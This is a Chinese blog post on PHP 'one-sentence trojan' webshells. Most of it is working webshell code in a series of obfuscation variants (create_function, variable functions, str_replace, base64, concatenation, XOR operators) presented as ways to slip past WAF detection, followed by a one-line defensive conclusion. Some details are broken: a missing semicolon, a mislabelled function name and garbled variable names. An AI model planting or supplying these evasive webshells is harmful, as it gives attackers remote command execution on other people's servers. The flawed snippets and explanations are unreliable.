一句话木马的多种变形方式

今天来和大家聊一聊,一句话木马的多种变形方式。 经常有客户的网站碰到被上传小马和大马,这里的"马"是木马的意思,可不是真实的马。

通常,攻击者利用文件上传漏洞,上传一个可执行并且能被解析的脚本文件,通过这个脚本来获得服务器端执行命令的能力,也就是我们经常听到的WebShell,而这个脚本文件就是我们常说的大马和小马。

1、都有些什么"马"?

  • 小马
    体积小,功能少,优点在于不易被发现,功能单一,常作为上传大马的跳板。
  • 大马
    体积大,功能强大,但是易被发现。
  • 一句话木马
    在小马和大马之外衍生出的另一种木马,只需短短一行代码,再结合WebShell工具(如菜刀、蚁剑、冰蝎等等)就能做到与大马能力相当的功能(执行命令行、文件上传、文件下载等功能)。

随着一句话木马的滥用,普通的一句话木马都已经逃不过waf的检测了,为了逃避waf的检测,一句话木马开始了他的变形之旅。

2、一句话木马的变形之路

【最初的一句话】

制作一句话:

php 复制代码
<?php @eval($_POST['juminfo']);?>
<?php @assert($_POST['juminfo']);?>

【create_function函数】

脚本内容:

php 复制代码
<?php
$fun = create_function('',$_POST['juminfo']);
$fun();
?>

把用户传递的数据生成一个函数fun(),然后再执行fun()。

【PHP变量函数】

脚本内容:

php 复制代码
<?php
$a = "assert";
$a(@$_POST['juminfo']);
?>

第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名。
【PHP可变变量】

脚本内容:

php 复制代码
<?php
$bb="assert";
$a="bb";
$$a(@$_POST['juminfo']);
?>

通过上一个语句进行的多一层变化:$$a = ( ( (a) = ('bb') = bb = "assert"
【str_replace函数】

脚本内容:

php 复制代码
<?php
$a=str_replace("juminfo", "", "assjuminfoert");
$a(@$_POST['juminfo']);
?>

在第三个参数中,查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除"juminfo"。
【base64_decode函数】

脚本内容:

php 复制代码
<?php
$a=base64_decode("YXNzZXJ0")
$a($_POST['juminfo']);
?>

这里是base64解密函数,"YXNzZXJ0"是assert的base64加密。

【"."操作符】

脚本内容:

php 复制代码
<?php
$a="as"."s";
$b="er"."t";
$c=$a.$b;
$c($_POST['juminfo']);
?>

【运算符变形】

脚本内容:

php 复制代码
<?php
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>

当我第一次看到这个脚本的时候,一头雾水,这是什么东西?

后来用echo打印出三个变量 + + 、 _++、 ++、__、___可以看到他们的值分别为1、_GET、_POST,放入最后一条语句中刚好组成一个两层的一句话木马。 \_GET[0]($_POST[1])?>

只要我们将0赋值为assert就可以构成经典的一句话<?php assert($_POST[1])?>,密码是1。

3、总结

一句话的混淆方式还有很多很多,基于以上的变形思路还能够衍生出无数新的变种木马,为了更好地防止"被放马"的事件发生,我们应该及时对使用的安全产品进行更新,才能让"马"无处可走。

相关推荐
Bug.ink几秒前
BUUCTF——WEB(4)
前端·网络安全·靶场·ctf·buuctf
Ancelin安心4 小时前
计算机网络易混淆知识点总结
网络协议·tcp/ip·计算机网络·nginx·网络安全·docker·云原生
qq_谁赞成_谁反对1 天前
klist.exe命令行工具,用来管理 Kerberos 身份验证系统
网络安全·内网安全·iam
Ancelin安心1 天前
Windows搭建和使用vulhub的一些常用命令
linux·运维·服务器·网络安全·docker·容器·vulhub
安全渗透Hacker1 天前
PHPStudy快速搭建DVWA靶场完整指南
安全·web安全·网络安全·安全性测试
0DayHP1 天前
HTB:Eighteen[WriteUP]
网络安全·内网渗透·web渗透
菜根Sec1 天前
网络安全笑话
web安全·网络安全·渗透测试
漏洞文库-Web安全1 天前
强网杯 2024 web pyblockly 单题wp
安全·web安全·网络安全·ctf
安全渗透Hacker1 天前
新一代特征扫描器afrog与经典引擎Xray深度解析
网络·安全·web安全·网络安全·自动化·系统安全·安全性测试
玥轩_5211 天前
防火墙技术-综合应用实验-2
网络·网络安全·智能路由器·防火墙·交换机·三层交换